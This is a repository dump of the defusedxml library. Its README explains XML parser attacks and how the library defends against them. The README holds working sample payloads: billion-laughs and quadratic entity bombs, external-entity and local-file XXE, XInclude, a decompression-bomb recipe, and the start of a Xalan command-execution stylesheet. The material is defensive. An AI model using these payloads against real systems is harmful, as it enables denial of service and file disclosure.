Full Code of tiran/defusedxml for AI

main c7445887f5e1 cached
52 files
239.1 KB
63.5k tokens
163 symbols
1 requests
Download .txt
Showing preview only (253K chars total). Download the full file or copy to clipboard to get everything.
Repository: tiran/defusedxml
Branch: main
Commit: c7445887f5e1
Files: 52
Total size: 239.1 KB

Directory structure:
gitextract_kp9kroi7/

├── .coveragerc
├── .github/
│   └── workflows/
│       ├── main.yml
│       └── pypi.yml
├── .gitignore
├── .hgignore
├── CHANGES.txt
├── LICENSE
├── MANIFEST.in
├── Makefile
├── README.md
├── README.txt
├── SECURITY.md
├── defusedxml/
│   ├── ElementTree.py
│   ├── __init__.py
│   ├── cElementTree.py
│   ├── common.py
│   ├── expatbuilder.py
│   ├── expatreader.py
│   ├── lxml.py
│   ├── minidom.py
│   ├── pulldom.py
│   ├── sax.py
│   └── xmlrpc.py
├── other/
│   ├── README.txt
│   ├── exploit_webdav.py
│   ├── exploit_xmlrpc.py
│   ├── perl.pl
│   ├── php.php
│   ├── python_external.py
│   ├── python_genshi.py
│   ├── ruby-hpricot.rb
│   ├── ruby-libxml.rb
│   └── ruby-rexml.rb
├── pyproject.toml
├── setup.cfg
├── setup.py
├── tests.py
├── tox.ini
├── void.css
└── xmltestdata/
    ├── cyclic.xml
    ├── dtd.xml
    ├── dtd_element.xml
    ├── external.xml
    ├── external_file.xml
    ├── quadratic.xml
    ├── schema-include.xsd
    ├── simple-ns.xml
    ├── simple.xml
    ├── xalan_exec.xsl
    ├── xalan_write.xsl
    ├── xmlbomb.xml
    └── xmlbomb2.xml

================================================
FILE CONTENTS
================================================

================================================
FILE: .coveragerc
================================================
[run]
branch = True
source =
    defusedxml/
    tests.py

[paths]
source =
   defusedxml/
   .tox/py*/lib/python*/site-packages/defusedxml/


================================================
FILE: .github/workflows/main.yml
================================================
---
name: CI

permissions:
  contents: read

on:
  push:
    branches: 
      - master
      - main
      - v*.x
  pull_request:
    branches:
      - master
      - main
      - v*.x
  schedule:
    # every Monday
    - cron: '30 4 * * 1'
  workflow_dispatch:

jobs:
  tests:
    name: "Python ${{ matrix.python-version }} on ${{ matrix.image }}"
    runs-on: "${{ matrix.image }}"
    strategy:
      fail-fast: false
      matrix:
        python-version:
          - "3.7"
          - "3.8"
          - "3.9"
          - "3.10"
          - "3.11"
          - "3.12"
          - "3.13-dev"
          - "pypy3.9"
        image: 
          - "ubuntu-22.04"
        include:
          - python-version: "3.6"
            image: "ubuntu-20.04"
    steps:
      - uses: "actions/checkout@v4"
      - uses: "actions/setup-python@v4"
        with:
          python-version: "${{ matrix.python-version }}"
          allow-prereleases: true
      - name: "Update pip"
        run: python -m pip install --upgrade pip setuptools wheel
      - name: "Install tox dependencies"
        run: python -m pip install --upgrade tox tox-gh-actions
      - name: "Run tox for ${{ matrix.python-version }}"
        run: "python -m tox"
  lint:
    name: "Linting"
    runs-on: "ubuntu-22.04"
    steps:
      - uses: "actions/checkout@v4"
      - uses: "actions/setup-python@v4"
        with:
          python-version: "3.11"
      - name: "Update pip"
        run: python -m pip install --upgrade pip setuptools wheel
      - name: "Install tox dependencies"
        run: python -m pip install --upgrade tox
      - name: "Run tox for lint"
        run: "python -m tox -e black,doc,pep8py3"


================================================
FILE: .github/workflows/pypi.yml
================================================
---
name: "Build for PyPI (optionally: upload)"

permissions:
  contents: read

on:
  workflow_dispatch:
    inputs:
      tag:
        description: tag to build
        required: true
        type: string
      testpypi:
        description: upload to Test PyPI
        type: boolean
        default: false
      pypi:
        description: upload to PyPI
        type: boolean
        default: false
  push:
    branches:
      - master
      - main
      - v*.x
  pull_request:
    branches:
      - master
      - main
      - v*.x

jobs:
  pypi-build:
    name: Build distribution
    runs-on: ubuntu-latest
    steps:
      - name: Checkout
        uses: actions/checkout@v3
        with:
          ref: ${{ inputs.tag || github.ref }}
      - name: Set up Python 3.10
        uses: actions/setup-python@v4
        with:
          python-version: "3.10"
      - name: "Update pip"
        run: python -m pip install --upgrade pip setuptools wheel
      - name: "Install 'build' and 'twine'"
        run: python -m pip install --upgrade build twine
      - name: "Run 'build'"
        run: "python -m build"
      - name: "Run twine check"
        run: "python -m twine check dist/*"
      - name: Store artifacts
        uses: actions/upload-artifact@v3
        with:
          name: defusedxml
          path: dist/

  publish-to-pypi:
    name: Publish to PyPI
    if: inputs.pypi || false
    needs:
      - pypi-build
    runs-on: ubuntu-latest
    environment:
      name: pypi
      url: https://pypi.org/p/defusedxml
    permissions:
      id-token: write
    steps:
      - name: Download distribution
        uses: actions/download-artifact@v3
        with:
          name: defusedxml
          path: dist/
      - name: Publish distribution to PyPI
        uses: pypa/gh-action-pypi-publish@release/v1

  publish-to-test-pypi:
    name: Publish to Test PyPI
    if: inputs.testpypi || false
    needs:
      - pypi-build
    runs-on: ubuntu-latest
    environment:
      name: testpypi
      url: https://test.pypi.org/p/defusedxml
    permissions:
      id-token: write
    steps:
      - name: Download distribution
        uses: actions/download-artifact@v3
        with:
          name: defusedxml
          path: dist/
      - name: Publish distribution to Test PyPI
        uses: pypa/gh-action-pypi-publish@release/v1
        with:
          repository-url: https://test.pypi.org/legacy/


================================================
FILE: .gitignore
================================================
/build/
/dist/
__pycache__
*.pyc
*.pyo
*.egg-info
.tox
.cache
.coverage
coverage.xml
MANIFEST
README.html


================================================
FILE: .hgignore
================================================
^build/
^dist/
^core
^MANIFEST
^README\.html

^.project
^.pydevproject
^.settings

syntax: glob
*.swp
*.pyc
*.pyo
*.pyd
*~
__pycache__

================================================
FILE: CHANGES.txt
================================================
Changelog
=========

defusedxml 0.8.0
----------------

*Release date: 2023*

- Fix testing without lxml
- Test on 3.13-dev and PyPy 3.9


defusedxml 0.8.0rc2
-------------------

*Release date: 29-Sep-2023*

- Silence deprecation warning in `defuse_stdlib`.
- Update lxml safety information


defusedxml 0.8.0rc1
-------------------

*Release date: 26-Sep-2023*

- Drop support for Python 2.7, 3.4, and 3.5.
- Test on 3.10, 3.11, and 3.12.
- Add ``defusedxml.ElementTree.fromstringlist()``
- Update *vulnerabilities and features* table in README.
- **Pending removal** The ``defusedxml.lxml`` module has been unmaintained and
  deprecated since 2019. The module will be removed in the next version.
- **Pending removal** The ``defusedxml.cElementTree`` will be removed in the
  next version. Please use ``defusedxml.ElementTree`` instead.


defusedxml 0.7.1
----------------

*Release date: 08-Mar-2021*

- Fix regression ``defusedxml.ElementTree.ParseError`` (#63)
  The ``ParseError`` exception is now the same class object as
  ``xml.etree.ElementTree.ParseError`` again.


defusedxml 0.7.0
----------------

*Release date: 4-Mar-2021*

- No changes


defusedxml 0.7.0rc2
-------------------

*Release date: 12-Jan-2021*

- Re-add and deprecate ``defusedxml.cElementTree``
- Use GitHub Actions instead of TravisCI
- Restore ``ElementTree`` attribute of ``xml.etree`` module after patching


defusedxml 0.7.0rc1
-------------------

*Release date: 04-May-2020*

- Add support for Python 3.9
- ``defusedxml.cElementTree`` is not available with Python 3.9.
- Python 2 is deprecate. Support for Python 2 will be removed in 0.8.0.


defusedxml 0.6.0
----------------

*Release date: 17-Apr-2019*

- Increase test coverage.
- Add badges to README.


defusedxml 0.6.0rc1
-------------------

*Release date: 14-Apr-2019*

- Test on Python 3.7 stable and 3.8-dev
- Drop support for Python 3.4
- No longer pass *html* argument to XMLParse. It has been deprecated and
  ignored for a long time. The DefusedXMLParser still takes a html argument.
  A deprecation warning is issued when the argument is False and a TypeError
  when it's True.
- defusedxml now fails early when pyexpat stdlib module is not available or
  broken.
- defusedxml.ElementTree.__all__ now lists ParseError as public attribute.
- The defusedxml.ElementTree and defusedxml.cElementTree modules had a typo
  and used XMLParse instead of XMLParser as an alias for DefusedXMLParser.
  Both the old and fixed name are now available.


defusedxml 0.5.0
----------------

*Release date: 07-Feb-2017*

- No changes


defusedxml 0.5.0.rc1
--------------------

*Release date: 28-Jan-2017*

- Add compatibility with Python 3.6
- Drop support for Python 2.6, 3.1, 3.2, 3.3
- Fix lxml tests (XMLSyntaxError: Detected an entity reference loop)


defusedxml 0.4.1
----------------

*Release date: 28-Mar-2013*

- Add more demo exploits, e.g. python_external.py and Xalan XSLT demos.
- Improved documentation.


defusedxml 0.4
--------------

*Release date: 25-Feb-2013*

- As per http://seclists.org/oss-sec/2013/q1/340 please REJECT
  CVE-2013-0278, CVE-2013-0279 and CVE-2013-0280 and use CVE-2013-1664,
  CVE-2013-1665 for OpenStack/etc.
- Add missing parser_list argument to sax.make_parser(). The argument is
  ignored, though. (thanks to Florian Apolloner)
- Add demo exploit for external entity attack on Python's SAX parser, XML-RPC
  and WebDAV.


defusedxml 0.3
--------------

*Release date: 19-Feb-2013*

- Improve documentation


defusedxml 0.2
--------------

*Release date: 15-Feb-2013*

- Rename ExternalEntitiesForbidden to ExternalReferenceForbidden
- Rename defusedxml.lxml.check_dtd() to check_docinfo()
- Unify argument names in callbacks
- Add arguments and formatted representation to exceptions
- Add forbid_external argument to all functions and classes
- More tests
- LOTS of documentation
- Add example code for other languages (Ruby, Perl, PHP) and parsers (Genshi)
- Add protection against XML and gzip attacks to xmlrpclib

defusedxml 0.1
--------------

*Release date: 08-Feb-2013*

- Initial and internal release for PSRT review


================================================
FILE: LICENSE
================================================
PYTHON SOFTWARE FOUNDATION LICENSE VERSION 2
--------------------------------------------

1. This LICENSE AGREEMENT is between the Python Software Foundation
("PSF"), and the Individual or Organization ("Licensee") accessing and
otherwise using this software ("Python") in source or binary form and
its associated documentation.

2. Subject to the terms and conditions of this License Agreement, PSF
hereby grants Licensee a nonexclusive, royalty-free, world-wide
license to reproduce, analyze, test, perform and/or display publicly,
prepare derivative works, distribute, and otherwise use Python
alone or in any derivative version, provided, however, that PSF's
License Agreement and PSF's notice of copyright, i.e., "Copyright (c)
2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008 Python Software Foundation; 
All Rights Reserved" are retained in Python alone or in any derivative 
version prepared by Licensee.

3. In the event Licensee prepares a derivative work that is based on
or incorporates Python or any part thereof, and wants to make
the derivative work available to others as provided herein, then
Licensee hereby agrees to include in any such work a brief summary of
the changes made to Python.

4. PSF is making Python available to Licensee on an "AS IS"
basis.  PSF MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR
IMPLIED.  BY WAY OF EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND
DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS
FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON WILL NOT
INFRINGE ANY THIRD PARTY RIGHTS.

5. PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON
FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS
A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON,
OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF.

6. This License Agreement will automatically terminate upon a material
breach of its terms and conditions.

7. Nothing in this License Agreement shall be deemed to create any
relationship of agency, partnership, or joint venture between PSF and
Licensee.  This License Agreement does not grant permission to use PSF
trademarks or trade name in a trademark sense to endorse or promote
products or services of Licensee, or any third party.

8. By copying, installing or otherwise using Python, Licensee
agrees to be bound by the terms and conditions of this License
Agreement.



================================================
FILE: MANIFEST.in
================================================
include setup.py
include README.txt CHANGES.txt LICENSE README.html
include void.css
include MANIFEST.in
include setup.py Makefile
include tests.py
recursive-include xmltestdata *.xml
recursive-include other *.php *.pl *.rb *.py *.txt



================================================
FILE: Makefile
================================================
PYTHON=python3
SETUPFLAGS=
COMPILEFLAGS=
INSTALLFLAGS=

.PHONY: inplace all rebuild test_inplace test fulltests clean distclean
.PHONY: sdist install black

all: inplace black README.html README.md

README.md: README.txt CHANGES.txt
	pandoc --from=rst --to=gfm README.txt > $@
	pandoc --from=rst --to=gfm CHANGES.txt >> $@
	sed -i ':a;N;$$!ba;s/\n\[!/[!/g' $@

README.html: README.txt CHANGES.txt void.css
	@echo | cat README.txt - CHANGES.txt | \
	    rst2html --verbose --exit-status=1 --stylesheet=void.css \
            > README.html

inplace:
	$(PYTHON) setup.py $(SETUPFLAGS) build_ext -i $(COMPILEFLAGS)

rebuild: clean all

test_inplace: inplace
	$(PYTHON) -m tests

test: test_inplace

black:
	black $(CURDIR) || true

clean:
	@find . \( -name '*.o' -or -name '*.so' -or -name '*.sl' -or \
	           -name '*.py[cod]' -or -name README.html \) \
	    -and -type f -delete
	@rm -f .coverage .coverage.* coverage.xml

distclean: clean
	@rm -rf build
	@rm -rf dist
	@find . \( -name '~*' -or -name '*.orig' -or -name '*.bak' -or \
	          -name 'core*' \) -and -type f  -delete

whitespace:
	@find \( -name '*.rst' -or -name '*.py' -or -name '*.xml' \) | \
	    xargs sed -i 's/[ \t]*$$//'


packages: README.html README.md
	$(PYTHON) setup.py packages

install:
	$(PYTHON) setup.py $(SETUPFLAGS) build $(COMPILEFLAGS)
	$(PYTHON) setup.py install $(INSTALLFLAGS)


================================================
FILE: README.md
================================================
# defusedxml -- defusing XML bombs and other exploits
[![Latest Version](https://img.shields.io/pypi/v/defusedxml.svg)](https://pypi.org/project/defusedxml/)
[![Supported Python versions](https://img.shields.io/pypi/pyversions/defusedxml.svg)](https://pypi.org/project/defusedxml/)
[![Travis CI](https://travis-ci.org/tiran/defusedxml.svg?branch=master)](https://travis-ci.org/tiran/defusedxml)
[![codecov](https://codecov.io/github/tiran/defusedxml/coverage.svg?branch=master)](https://codecov.io/github/tiran/defusedxml?branch=master)
[![PyPI downloads](https://img.shields.io/pypi/dm/defusedxml.svg)](https://pypistats.org/packages/defusedxml)
[![Code style: black](https://img.shields.io/badge/code%20style-black-000000.svg)](https://github.com/psf/black)

> "It's just XML, what could probably go wrong?"

Christian Heimes \<<christian@python.org>\>

## Synopsis

The results of an attack on a vulnerable XML library can be fairly
dramatic. With just a few hundred **Bytes** of XML data an attacker can
occupy several **Gigabytes** of memory within **seconds**. An attacker
can also keep CPUs busy for a long time with a small to medium size
request. Under some circumstances it is even possible to access local
files on your server, to circumvent a firewall, or to abuse services to
rebound attacks to third parties.

The attacks use and abuse less common features of XML and its parsers.
The majority of developers are unacquainted with features such as
processing instructions and entity expansions that XML inherited from
SGML. At best they know about `<!DOCTYPE>` from experience with HTML but
they are not aware that a document type definition (DTD) can generate an
HTTP request or load a file from the file system.

None of the issues is new. They have been known for a long time. Billion
laughs was first reported in 2003. Nevertheless some XML libraries and
applications are still vulnerable and even heavy users of XML are
surprised by these features. It's hard to say whom to blame for the
situation. It's too short sighted to shift all blame on XML parsers and
XML libraries for using insecure default settings. After all they
properly implement XML specifications. Application developers must not
rely that a library is always configured for security and potential
harmful data by default.

<div class="contents" depth="2">

Table of Contents

</div>

## Attack vectors

### billion laughs / exponential entity expansion

The [Billion Laughs](https://en.wikipedia.org/wiki/Billion_laughs)
attack -- also known as exponential entity expansion --uses multiple
levels of nested entities. The original example uses 9 levels of 10
expansions in each level to expand the string `lol` to a string of 3 \*
10 <sup>9</sup> bytes, hence the name "billion laughs". The resulting
string occupies 3 GB (2.79 GiB) of memory; intermediate strings require
additional memory. Because most parsers don't cache the intermediate
step for every expansion it is repeated over and over again. It
increases the CPU load even more.

An XML document of just a few hundred bytes can disrupt all services on
a machine within seconds.

Example XML:

    <!DOCTYPE xmlbomb [
    <!ENTITY a "1234567890" >
    <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;">
    <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;">
    <!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;">
    ]>
    <bomb>&d;</bomb>

### quadratic blowup entity expansion

A quadratic blowup attack is similar to a [Billion
Laughs](https://en.wikipedia.org/wiki/Billion_laughs) attack; it abuses
entity expansion, too. Instead of nested entities it repeats one large
entity with a couple of thousand chars over and over again. The attack
isn't as efficient as the exponential case but it avoids triggering
countermeasures of parsers against heavily nested entities. Some parsers
limit the depth and breadth of a single entity but not the total amount
of expanded text throughout an entire XML document.

A medium-sized XML document with a couple of hundred kilobytes can
require a couple of hundred MB to several GB of memory. When the attack
is combined with some level of nested expansion an attacker is able to
achieve a higher ratio of success.

    <!DOCTYPE bomb [
    <!ENTITY a "xxxxxxx... a couple of ten thousand chars">
    ]>
    <bomb>&a;&a;&a;... repeat</bomb>

### external entity expansion (remote)

Entity declarations can contain more than just text for replacement.
They can also point to external resources by public identifiers or
system identifiers. System identifiers are standard URIs. When the URI
is a URL (e.g. a `http://` locator) some parsers download the resource
from the remote location and embed them into the XML document verbatim.

Simple example of a parsed external entity:

    <!DOCTYPE external [
    <!ENTITY ee SYSTEM "http://www.python.org/some.xml">
    ]>
    <root>&ee;</root>

The case of parsed external entities works only for valid XML content.
The XML standard also supports unparsed external entities with a
`NData declaration`.

External entity expansion opens the door to plenty of exploits. An
attacker can abuse a vulnerable XML library and application to rebound
and forward network requests with the IP address of the server. It
highly depends on the parser and the application what kind of exploit is
possible. For example:

-   An attacker can circumvent firewalls and gain access to restricted
    resources as all the requests are made from an internal and
    trustworthy IP address, not from the outside.
-   An attacker can abuse a service to attack, spy on or DoS your
    servers but also third party services. The attack is disguised with
    the IP address of the server and the attacker is able to utilize the
    high bandwidth of a big machine.
-   An attacker can exhaust additional resources on the machine, e.g.
    with requests to a service that doesn't respond or responds with
    very large files.
-   An attacker may gain knowledge, when, how often and from which IP
    address an XML document is accessed.
-   An attacker could send mail from inside your network if the URL
    handler supports `smtp://` URIs.

### external entity expansion (local file)

External entities with references to local files are a sub-case of
external entity expansion. It's listed as an extra attack because it
deserves extra attention. Some XML libraries such as lxml disable
network access by default but still allow entity expansion with local
file access by default. Local files are either referenced with a
`file://` URL or by a file path (either relative or absolute).
Additionally, lxml's `libxml2` has catalog support. XML catalogs like
`/etc/xml/catalog` are XML files, which map schema URIs to local files.

An attacker may be able to access and download all files that can be
read by the application process. This may include critical configuration
files, too.

    <!DOCTYPE external [
    <!ENTITY ee SYSTEM "file:///PATH/TO/simple.xml">
    ]>
    <root>&ee;</root>

### DTD retrieval

This case is similar to external entity expansion, too. Some XML
libraries like Python's xml.dom.pulldom retrieve document type
definitions from remote or local locations. Several attack scenarios
from the external entity case apply to this issue as well.

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
      "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html>
        <head/>
        <body>text</body>
    </html>

## Python XML Libraries

| kind                                   | sax           | etree         | minidom       | pulldom       | xmlrpc        |
|----------------------------------------|---------------|---------------|---------------|---------------|---------------|
| billion laughs                         | **Maybe** (1) | **Maybe** (1) | **Maybe** (1) | **Maybe** (1) | **Maybe** (1) |
| quadratic blowup                       | **Maybe** (1) | **Maybe** (1) | **Maybe** (1) | **Maybe** (1) | **Maybe** (1) |
| external entity expansion (remote)     | False (2)     | False (3)     | False (4)     | False (2)     | false         |
| external entity expansion (local file) | False (2)     | False (3)     | False (4)     | False (2)     | false         |
| DTD retrieval                          | False (2)     | False         | False         | False (2)     | false         |
| gzip bomb                              | False         | False         | False         | False         | **True**      |
| xpath support (6)                      | False         | False         | False         | False         | False         |
| xsl(t) support (6)                     | False         | False         | False         | False         | False         |
| xinclude support (6)                   | False         | **True** (5)  | False         | False         | False         |
| C library                              | expat         | expat         | expat         | expat         | expat         |

vulnerabilities and features

1.  [expat parser](https://libexpat.github.io/) >= 2.4.0 has [billion
    laughs
    protection](https://libexpat.github.io/doc/api/latest/#billion-laughs)
    against XML bombs (CVE-2013-0340). The parser has sensible defaults
    for `XML_SetBillionLaughsAttackProtectionMaximumAmplification` and
    `XML_SetBillionLaughsAttackProtectionActivationThreshold`.
2.  Python >= 3.6.8, >= 3.7.1, and >= 3.8 no longer retrieve local and
    remote resources with urllib, see
    [bpo-17239](https://github.com/python/cpython/issues/61441).
3.  xml.etree doesn't expand entities and raises a ParserError when an
    entity occurs.
4.  minidom doesn't expand entities and simply returns the unexpanded
    entity verbatim.
5.  Library has (limited) XInclude support but requires an additional
    step to process inclusion.
6.  These are features but they may introduce exploitable holes, see
    [Other things to consider](#other-things-to-consider)

### Settings in standard library

#### xml.sax.handler Features

feature_external_ges (<http://xml.org/sax/features/external-general-entities>)  
disables external entity expansion

feature_external_pes (<http://xml.org/sax/features/external-parameter-entities>)  
the option is ignored and doesn't modify any functionality

#### DOM xml.dom.xmlbuilder.Options

external_parameter_entities  
ignored

external_general_entities  
ignored

external_dtd_subset  
ignored

entities  
unsure

## defusedxml

The [defusedxml package](https://github.com/tiran/defusedxml)
([defusedxml on PyPI](https://pypi.python.org/pypi/defusedxml)) contains
several Python-only workarounds and fixes for denial of service and
other vulnerabilities in Python's XML libraries. In order to benefit
from the protection you just have to import and use the listed functions
/ classes from the right defusedxml module instead of the original
module. Merely [defusedxml.xmlrpc](#defusedxml.xmlrpc) is implemented as
monkey patch.

Instead of:

    >>> from xml.etree.ElementTree import parse
    >>> et = parse(xmlfile)

alter code to:

    >>> from defusedxml.ElementTree import parse
    >>> et = parse(xmlfile)

<div class="note">

<div class="title">

Note

</div>

The defusedxml modules are not drop-in replacements of their stdlib
counterparts. The modules only provide functions and classes related to
parsing and loading of XML. For all other features, use the classes,
functions, and constants from the stdlib modules. For example:

    >>> from defusedxml import ElementTree as DET
    >>> from xml.etree.ElementTree as ET

    >>> root = DET.fromstring("<root/>")
    >>> root.append(ET.Element("item"))
    >>> ET.tostring(root)
    b'<root><item /></root>'

</div>

Additionally the package has an **untested** function to monkey patch
all stdlib modules with `defusedxml.defuse_stdlib()`.

<div class="warning">

<div class="title">

Warning

</div>

`defuse_stdlib()` should be avoided. It can break third party package or
cause surprising side effects. Instead you should use the parsing
features of defusedxml explicitly.

</div>

All functions and parser classes accept three additional keyword
arguments. They return either the same objects as the original functions
or compatible subclasses.

forbid_dtd (default: False)  
disallow XML with a `<!DOCTYPE>` processing instruction and raise a
*DTDForbidden* exception when a DTD processing instruction is found.

forbid_entities (default: True)  
disallow XML with `<!ENTITY>` declarations inside the DTD and raise an
*EntitiesForbidden* exception when an entity is declared.

forbid_external (default: True)  
disallow any access to remote or local resources in external entities or
DTD and raising an *ExternalReferenceForbidden* exception when a DTD or
entity references an external resource.

### defusedxml (package)

DefusedXmlException, DTDForbidden, EntitiesForbidden,
ExternalReferenceForbidden, NotSupportedError

defuse_stdlib() (*experimental*)

### defusedxml.cElementTree

**NOTE** `defusedxml.cElementTree` is deprecated and will be removed in
a future release. Import from `defusedxml.ElementTree` instead.

parse(), iterparse(), fromstring(), XMLParser

### defusedxml.ElementTree

parse(), iterparse(), fromstring(), XMLParser

### defusedxml.expatreader

create_parser(), DefusedExpatParser

### defusedxml.sax

parse(), parseString(), make_parser()

### defusedxml.expatbuilder

parse(), parseString(), DefusedExpatBuilder, DefusedExpatBuilderNS

### defusedxml.minidom

parse(), parseString()

### defusedxml.pulldom

parse(), parseString()

### defusedxml.xmlrpc

The fix is implemented as monkey patch for the stdlib's xmlrpc package
(3.x) or xmlrpclib module (2.x). The function <span
class="title-ref">monkey_patch()</span> enables the fixes, <span
class="title-ref">unmonkey_patch()</span> removes the patch and puts the
code in its former state.

The monkey patch protects against XML related attacks as well as
decompression bombs and excessively large requests or responses. The
default setting is 30 MB for requests, responses and gzip decompression.
You can modify the default by changing the module variable <span
class="title-ref">MAX_DATA</span>. A value of <span
class="title-ref">-1</span> disables the limit.

### defusedxml.lxml

**DEPRECATED** The module is deprecated and will be removed in a future
release.

lxml is safe against most attack scenarios. lxml uses `libxml2` for
parsing XML. The library has builtin mitigations against billion laughs
and quadratic blowup attacks. The parser allows a limit amount of entity
expansions, then fails. lxml also disables network access by default.
libxml2 [lxml
FAQ](https://lxml.de/FAQ.html#how-do-i-use-lxml-safely-as-a-web-service-endpoint)
lists additional recommendations for safe parsing, for example counter
measures against compression bombs.

The default parser resolves entities and protects against huge trees and
deeply nested entities. To disable entities expansion, use a custom
parser object:

    from lxml import etree

    parser = etree.XMLParser(resolve_entities=False)
    root = etree.fromstring("<example/>", parser=parser)

The module acts as an *example* how you could protect code that uses
lxml.etree. It implements a custom Element class that filters out Entity
instances, a custom parser factory and a thread local storage for parser
instances. It also has a check_docinfo() function which inspects a tree
for internal or external DTDs and entity declarations. In order to check
for entities lxml \> 3.0 is required.

parse(), fromstring() RestrictedElement, GlobalParserTLS,
getDefaultParser(), check_docinfo()

## defusedexpat

The [defusedexpat package](https://github.com/tiran/defusedexpat)
([defusedexpat on PyPI](https://pypi.python.org/pypi/defusedexpat)) is
no longer supported. [expat parser](https://libexpat.github.io/) 2.4.0
and newer come with [billion laughs
protection](https://libexpat.github.io/doc/api/latest/#billion-laughs)
against XML bombs.

## How to avoid XML vulnerabilities

Update to Python 3.6.8, 3.7.1, or newer. The SAX and DOM parser do not
load external entities from files or network resources.

Update to expat to 2.4.0 or newer. It has [billion laughs
protection](https://libexpat.github.io/doc/api/latest/#billion-laughs)
with sensible default limits to mitigate billion laughs and quadratic
blowup.

Official binaries from python.org use libexpat 2.4.0 since 3.7.12,
3.8.12, 3.9.7, and 3.10.0 (August 2021). Third party vendors may use
older or newer versions of expat. `pyexpat.version_info` contains the
current runtime version of libexpat. Vendors may have backported fixes
to older versions without bumping the version number.

Example:

    import sys
    import pyexpat

    has_mitigations = (
        sys.version_info >= (3, 7, 1) and
        pyexpat.version_info >= (2, 4, 0)
    )

### Best practices

-   Don't allow DTDs
-   Don't expand entities
-   Don't resolve externals
-   Limit parse depth
-   Limit total input size
-   Limit parse time
-   Favor a SAX or iterparse-like parser for potential large data
-   Validate and properly quote arguments to XSL transformations and
    XPath queries
-   Don't use XPath expression from untrusted sources
-   Don't apply XSL transformations that come untrusted sources

(based on Brad Hill's [Attacking XML
Security](https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf))

## Other things to consider

XML, XML parsers and processing libraries have more features and
possible issue that could lead to DoS vulnerabilities or security
exploits in applications. I have compiled an incomplete list of
theoretical issues that need further research and more attention. The
list is deliberately pessimistic and a bit paranoid, too. It contains
things that might go wrong under daffy circumstances.

### attribute blowup / hash collision attack

XML parsers may use an algorithm with quadratic runtime O(n
<sup>2</sup>) to handle attributes and namespaces. If it uses hash
tables (dictionaries) to store attributes and namespaces the
implementation may be vulnerable to hash collision attacks, thus
reducing the performance to O(n <sup>2</sup>) again. In either case an
attacker is able to forge a denial of service attack with an XML
document that contains thousands upon thousands of attributes in a
single node.

I haven't researched yet if expat, pyexpat or libxml2 are vulnerable.

### decompression bomb

The issue of decompression bombs (aka [ZIP
bomb](https://en.wikipedia.org/wiki/Zip_bomb)) apply to all XML
libraries that can parse compressed XML stream like gzipped HTTP streams
or LZMA-ed files. For an attacker it can reduce the amount of
transmitted data by three magnitudes or more. Gzip is able to compress 1
GiB zeros to roughly 1 MB, lzma is even better:

    $ dd if=/dev/zero bs=1M count=1024 | gzip > zeros.gz
    $ dd if=/dev/zero bs=1M count=1024 | lzma -z > zeros.xy
    $ ls -sh zeros.*
    1020K zeros.gz
     148K zeros.xy

None of Python's standard XML libraries decompress streams except for
`xmlrpclib`. The module is vulnerable
\<<https://bugs.python.org/issue16043>\> to decompression bombs.

lxml can load and process compressed data through libxml2 transparently.
libxml2 can handle even very large blobs of compressed data efficiently
without using too much memory. But it doesn't protect applications from
decompression bombs. A carefully written SAX or iterparse-like approach
can be safe.

### Processing Instruction

[PI](https://en.wikipedia.org/wiki/Processing_Instruction)'s like:

    <?xml-stylesheet type="text/xsl" href="style.xsl"?>

may impose more threats for XML processing. It depends if and how a
processor handles processing instructions. The issue of URL retrieval
with network or local file access apply to processing instructions, too.

### Other DTD features

[DTD](https://en.wikipedia.org/wiki/Document_Type_Definition) has more
features like `<!NOTATION>`. I haven't researched how these features may
be a security threat.

### XPath

XPath statements may introduce DoS vulnerabilities. Code should never
execute queries from untrusted sources. An attacker may also be able to
create an XML document that makes certain XPath queries costly or
resource hungry.

### XPath injection attacks

XPath injeciton attacks pretty much work like SQL injection attacks.
Arguments to XPath queries must be quoted and validated properly,
especially when they are taken from the user. The page [Avoid the
dangers of XPath
injection](http://www.ibm.com/developerworks/xml/library/x-xpathinjection/index.html)
list some ramifications of XPath injections.

Python's standard library doesn't have XPath support. Lxml supports
parameterized XPath queries which does proper quoting. You just have to
use its xpath() method correctly:

    # DON'T
    >>> tree.xpath("/tag[@id='%s']" % value)

    # instead do
    >>> tree.xpath("/tag[@id=$tagid]", tagid=name)

### XInclude

[XML Inclusion](https://www.w3.org/TR/xinclude/#include_element) is
another way to load and include external files:

    <root xmlns:xi="http://www.w3.org/2001/XInclude">
      <xi:include href="filename.txt" parse="text" />
    </root>

This feature should be disabled when XML files from an untrusted source
are processed. Some Python XML libraries and libxml2 support XInclude
but don't have an option to sandbox inclusion and limit it to allowed
directories.

### XMLSchema location

A validating XML parser may download schema files from the information
in a `xsi:schemaLocation` attribute.

    <ead xmlns="urn:isbn:1-931666-22-9"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="urn:isbn:1-931666-22-9 http://www.loc.gov/ead/ead.xsd">
    </ead>

### XSL Transformation

You should keep in mind that XSLT is a Turing complete language. Never
process XSLT code from unknown or untrusted source! XSLT processors may
allow you to interact with external resources in ways you can't even
imagine. Some processors even support extensions that allow read/write
access to file system, access to JRE objects or scripting with Jython.

Example from [Attacking XML
Security](https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf)
for Xalan-J:

    <xsl:stylesheet version="1.0"
     xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
     xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
     xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
     exclude-result-prefixes= "rt ob">
